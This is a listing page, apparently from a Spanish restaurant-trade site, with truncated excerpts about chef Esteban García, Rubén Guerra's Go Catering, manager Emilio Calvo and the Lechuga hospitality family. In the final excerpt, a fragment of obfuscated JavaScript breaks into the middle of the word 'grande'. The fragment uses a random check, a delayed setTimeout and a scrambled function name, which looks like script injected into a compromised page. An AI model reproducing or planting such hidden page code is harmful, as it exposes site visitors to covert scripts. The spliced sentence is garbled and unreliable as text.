Esteban García: Nosotros proponemos San Valentín todos los días

Hoy hemos comido con Esteban García en su Restaurante El Pitaco de Madrid. Y, como siempre, hemos hablado de Gastronomía, vinos y temporada. Esteban, tu eres un profesional que tiene muy en cuenta el calendario en tu cocina. ¿Qué tienes pensado para San Valentín? Nosotros proponemos San Valentín todos los días. Es cierto que ahora […]

Rubén Guerra, un chef de los denominados creativos.

Go Catering es una empresa de servicio de Catering que nace en Madrid hace ya más de quince años. Fue fundada por Rubén Guerra, quien lidera sabiamente a un equipo de profesionales con los que atiende cientos de compromisos profesionales anuales en la Comunidad de Madrid. Rubén se encarga de dar una formación extra y […]

Emilio Calvo: “En dos meses le hemos dado la vuelta a los números”

Mientras se habla de crisis en el sector, Emilio Julio Calvo Martín le ha dado la vuelta a los números del Restaurante madrileño El Puchero de mi abuela. Llegó al barrio en septiembre como Director Gerente y no sólo ha conseguido recuperar clientela que había perdido sino que además, ha captado nuevos clientes. En términos […]

La historia de un legado: Los Lechuga

Redacción Andalucía.- Por Jaime Brenes Hoy les vamos a contar la Historia de un legado, les vamos a hablar de una familia de hosteleros que ha crecido, madurado y ha hecho grandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ande esta profesión en nuestro país. Se trata de una familia natural de Jerez de la Frontera, Cádiz. Y […]